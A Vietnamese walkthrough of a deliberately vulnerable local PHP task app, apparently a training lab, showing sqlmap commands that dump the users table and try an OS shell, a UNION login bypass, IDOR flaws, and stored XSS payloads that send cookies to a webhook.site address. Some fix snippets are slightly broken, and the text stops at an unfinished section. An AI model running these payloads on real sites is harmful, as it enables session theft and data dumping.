# Setup project
## Download project
```git
# khởi tạo một Git repository
git init
# kích hoạt tính năng sparse-checkout
git sparse-checkout init
# Thêm đường dẫn của thư mục bạn muốn sao chép:
git sparse-checkout set task_1
# Cuối cùng, sao chép (clone) repository từ GitHub:
git remote add -f origin https://github.com/user/repository.git
git pull origin main
```
## Run project
- vào thư mục có file **docker-compose.yml**

- Mở terminal chạy ```docker-compose up```
- đợi cho đến khi database báo **ready for connections**

- truy cập trang web tại ```127.0.0.1:24001```


- đã có 2 tài khoản được tạo sẵn là:
- ```cuong:12345678```
- ```admin:987654321```
- có trang đăng ký tài khoản

- trang chính:

## Exploit
### SQL injection
1. Bypass login
- trang login bị lỗi SQLi
- đoạn code không validate mà chuyền thẳng data user nhập từ form login và câu query đến database

- mình có thể đăng nhập với user ```admin``` mà không cần mật khẩu


- trong trường hợp không biết username của các user mình thay đổi các giá trị ```limit 0,1 và 1,1``` để lấy giá trị đầu tiên và thứ 2 trong bảng users và có thể đăng nhập được vào user ```admin``` và user ```cuong```



- có thể xác định được số cột của table user với câu lệnh UNION

```admin' UNION SELECT NULL, NULL, NULL -- -``` cho thấu table chứa username và password có 3 cột

- dùng sqlmap với payload:
```sql
sqlmap -u "http://192.168.0.67:24001/login.php" --cookie "PHPSESSID=640f609494f155927347e2bf8692348b" --data "username=*&password=*&login=Submit" --threads=10 --risk=3 --level=5 --dbms=MySQL --batch --proxy=http://192.168.0.67:8888
```

- có thể tấn công với UNION và timebase

2. Leak data
- chức năng add task và delete task cũng bị SQLi

- với chức năng add task mình dùng sqlmap với payload sau để quét:
```sql
sqlmap -u "http://192.168.1.58:24001/create.php" --cookie "PHPSESSID=2fa4c8bd1cbfe9a41046e33c2a2b0ac5" --data "session_id=*&title=*" --batch --threads=10 --risk=3 --level=5 --dbms=MySQL
```

- để ý log thấy bắn ra điên cuồng :)))

- chức năng add task có thể tận dụng để thực hiện lỗi error-base và time-base SQLi

- tiếp theo mình tìm các table trong database hiện tại với payload:
```sql
sqlmap -u "http://192.168.1.58:24001/create.php" --cookie "PHPSESSID=2fa4c8bd1cbfe9a41046e33c2a2b0ac5" --data "session_id=*&title=*" --batch --threads=10 --risk=3 --level=5 --dbms=MySQL --tables
```

- có 2 table là ```user_task``` và ```users```
- tiếp đến mình xem thông tin các cột của table ```users``` với payload:
```sql
sqlmap -u "http://192.168.1.58:24001/create.php" --cookie "PHPSESSID=2fa4c8bd1cbfe9a41046e33c2a2b0ac5" --data "session_id=*&title=*" --batch --threads=10 --risk=3 --level=5 --dbms=MySQL -T users --columns
```

- cuối cùng mình dump toàn bộ dữ liệu trong table ```users```
```sql
sqlmap -u "http://192.168.1.58:24001/create.php" --cookie "PHPSESSID=2fa4c8bd1cbfe9a41046e33c2a2b0ac5" --data "session_id=*&title=*" --batch --threads=10 --risk=3 --level=5 --dbms=MySQL -T users --dump
```

- tương tự với chức năng add task chức năng delete task cũng bị SQLi

- với chức năng delete task mình dùng sqlmap với payload sau để quét:
```sql
sqlmap -u "http://192.168.1.58:24001/delete.php?task_id=11&user_id=9" --cookie "PHPSESSID=2fa4c8bd1cbfe9a41046e33c2a2b0ac5" --batch --threads=10 --risk=3 --level=5 --dbms=MySQL
```

- chức năng delete task có thể tận dụng để thực hiện lỗi error-base, boolean-base và time-base SQLi
- và tương tự mình có thể dump được toàn bộ data trong table ```users```
```sql
sqlmap -u "http://192.168.1.58:24001/delete.php?task_id=11&user_id=9" --cookie "PHPSESSID=2fa4c8bd1cbfe9a41046e33c2a2b0ac5" --batch --threads=10 --risk=3 --level=5 --dbms=MySQL -T users --dump
```

- xem các request được tạo trên burp suit với lệnh
```sql
sqlmap -u "http://192.168.0.67:24001/delete.php?task_id=11&user_id=9" --cookie "PHPSESSID=ee619f17cc8cefeeb32083092f08957b" --data "session_id=*&title=*" --threads=10 --risk=3 --level=5 --dbms=MySQL -T users --columns --batch --proxy=http://192.168.0.67:8888
```

- với lệnh sau để RCE
```sql
sqlmap -u "http://192.168.0.67:24001/create.php" --cookie "PHPSESSID=ee619f17cc8cefeeb32083092f08957b" --data "session_id=*&title=*" --threads=10 --risk=3 --level=5 --dbms=MySQL --file-read "var/www/html/index.php" --batch --os-shell
```

1. Tài liệu gốc của máy chủ web và đường dẫn tuyệt đối:
- Thư mục gốc của máy chủ web là ```/var/www```.
- Đường dẫn tuyệt đối đến một tệp là ```/var/www/html/create.php```.
2. Các nỗ lực tải lên và vấn đề gặp phải:
- sqlmap đã cố gắng tải một file stager lên thư mục ```/var/www/``` và ```/var/www/html/``` bằng phương pháp LIMIT 'LINES TERMINATED BY', nhưng gặp phải lỗi "Access denied".
- Công cụ cũng phát hiện các lỗi HTTP 404 (Not Found) 7 lần, có nghĩa là một số trang hoặc tài nguyên mà nó cố gắng truy cập không tồn tại.
- dùng lệnh sau để hiện chi tiết các gói tin sqlmap gửi đi
```sql
sqlmap -u "http://192.168.0.67:24001/create.php" --cookie "PHPSESSID=ee619f17cc8cefeeb32083092f08957b" --data "session_id=*&title=*" --threads=10 --risk=3 --level=5 --dbms=MySQL --file-read "var/www/html/index.php" --batch --os-shell -v6
```

- Phát hiện quá nhiều mã lỗi HTTP 4xx và/hoặc 5xx mà cụ thể ở đây là 404


- khai thác tay cho thấy không có quyền ghi ouput vào file rce.php

- khi mình sửa lại truy vấn database với user root thì cần quyền ghi file vào thư mục ```/var/www/html```


- có thể xem thêm khai thác SQLi <a href='https://hackmd.io/@monstercuong7/ByjK93F9a'>tại đây</a>
để hạn chế lỗi này:
- dùng hàm preparestatement để tham sô hóa đầu vào
```php
$stmt = mysqli->prepare("select user_id from users where user_name= ? and password= ?");
$stmt->bindParam("ss",$username,$pass);
$stmt->execute();
```
- dùng hàm ```mysqli_real_escape_string``` để encode các ký tự đặc biệt
```php
$username = mysqli_real_escape_string($con, $_POST["username"]);
$password = mysqli_real_escape_string($con, $_POST["password"]);
$query="select user_id from users where u.user_name='".$username."' and u.password='".md5($password)."' ";
```
### IDOR
- chức năng add task và xóa task bị lỗi IDOR
- trang web lấy ```session_id``` từ phía người dùng rồi chuyền vào câu lệnh truy vấn

- attacker có thể thay đổi session_id này và có thể tạo task mới cho user tương ứng
- tạo task cho user admin


- tạo task cho user cuong


- chức năng xóa task có chuyền parameter ```task_id``` và ```user_id``` mà người dùng có thể thay đổi được
- user ```admin``` có thể xóa task của user ```cuong```



### Store XSS
- chức năng add task bị lỗi Store XSS


- có thể dùng ```webhook``` hoặc ```pipedream.com``` để bắt cookie của victim ạ

- Và sau khi load ảnh error thì sẽ gửi request đến webhook kèm cookie của nạn nhận với bất kì người dùng nào truy cập trang này



- tương tự chức năng add task chức năng register cũng bị lỗi Store XSS
```javascript
<img src=x onerror=fetch(`https://webhook.site/fa8c0082-9df4-495e-a331-0342f9ab2066?cookie=${document.cookie}`)>
<script>location.href="http://127.0.0.1:8000/memo?memo=hello"+document.cookie;</script>
```



- để hạn chế lỗi này:
- dùng hàm ```htmlspecialchars()```
### Code injection


- nó không hoạt động vì
